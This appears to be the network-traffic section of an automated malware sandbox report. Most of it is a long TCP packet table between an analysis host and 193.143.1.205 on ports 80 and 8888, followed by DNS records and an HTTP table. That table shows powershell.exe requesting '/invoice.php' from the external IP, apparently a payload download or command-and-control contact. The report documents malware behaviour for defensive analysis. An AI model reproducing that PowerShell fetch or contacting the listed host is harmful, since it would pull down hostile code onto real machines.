Jan 10, 2025 17:48:34.837729931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.837754011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.837786913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.837841988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.837876081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.837934971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.837949991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.837949991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.837985992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838021040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838027000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.838057041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838090897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838100910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.838121891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838154078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838161945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.838188887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838229895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.838246107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838280916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838314056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838320017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.838351011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838385105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838392973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.838419914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838452101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838462114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.838486910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838519096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838524103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.838552952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838586092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838593960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.838624001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.838668108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.844175100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.853600979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853615999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853626013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853638887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853688955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853687048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.853687048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.853801012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853812933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853823900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853833914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853838921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853851080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853863001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.853949070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.853949070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.853949070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.853949070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.861350060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.865488052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865508080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865520954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865531921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865556955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.865561008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865578890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865585089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.865591049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865602016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865612984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865624905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.865642071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.865695000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865710020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865720034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865725994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.865725994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.865731955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865744114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.865760088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.865778923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.870807886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904459000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904509068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904520035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904573917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904581070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904586077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904599905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904617071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904619932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904633045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904644012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904647112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904659033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904669046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904687881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904695034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904706955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904720068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904745102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904758930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904793978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904831886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904851913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904866934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904876947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904889107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904889107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904915094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904922009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904937029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904947996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904961109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904962063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.904974937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904987097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.904989958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.905014038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906059980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906070948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906105042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906107903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906147957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906193972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906205893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906215906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906228065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906241894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906248093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906249046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906259060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906265020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906286001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906294107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906310081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906321049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906327963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906328917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906333923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906368971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906390905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906454086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906465054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906475067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906490088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906502008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906502008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906517029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906526089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906529903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906558037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906618118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906630993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906642914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906653881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906660080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906666040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906689882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906704903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906711102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906737089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906773090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906851053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906866074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906877041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906888962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906902075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906904936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906914949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906919003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906958103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906961918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.906972885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.906985044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.907016993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.907506943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.907546997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.907550097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.907597065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.907610893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.907619953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.907633066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.907634020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.907649994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.907797098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.907809019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.907823086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.907838106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.907872915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.910901070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.924999952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925048113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925081968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925131083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925163031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925163031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925189972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925196886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925221920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925232887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925256968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925297022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925302982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925333977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925364017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925376892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925394058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925431013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925438881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925470114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925499916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925510883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925530910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925559044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925571918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925612926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925651073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925657988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925695896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925725937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925745964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925760031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925796986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925805092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925836086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925864935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925873041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925895929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925930023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.925931931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.925977945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.926006079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.926014900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.926039934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.926079988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.927671909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.940965891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941008091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941062927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941072941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.941097975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941132069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941144943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.941169977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941198111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941211939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.941239119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941277027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.941292048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941324949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941359043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941365004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.941390991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941425085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941427946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.941457987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941493034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941499949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.941524982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941565990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.941570997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.944849968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.951795101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.951807022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.951849937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.951862097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.951870918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.951878071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.951898098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.951910019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.951922894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.951945066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.951966047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.951966047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.990995884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991014957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991034985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991046906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991059065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991080999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991092920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991111040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991111040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.991134882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991147995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991159916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.991161108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991173983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991177082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.991185904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991197109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991208076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.991210938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991235018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.991238117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991251945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991255045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.991265059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991276979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991290092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.991307974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.991331100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991342068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991348982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991359949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.991375923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.991394997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:34.992305040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.992316961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.992328882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:34.992350101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:35.044181108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:35.095978022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:35.497034073 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:35.502202034 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:35.502294064 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:35.502440929 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:35.507584095 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:36.301613092 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:48:36.356662989 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:48:36.366199017 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:48:43.326571941 CET	60357	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:48:43.326571941 CET	192.168.2.5	1.1.1.1	0xc13c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:48:43.333966970 CET	1.1.1.1	192.168.2.5	0xc13c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:48:44.064554930 CET	1.1.1.1	192.168.2.5	0xbf78	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:48:44.064554930 CET	1.1.1.1	192.168.2.5	0xbf78	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	3208	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:48:33.444856882 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
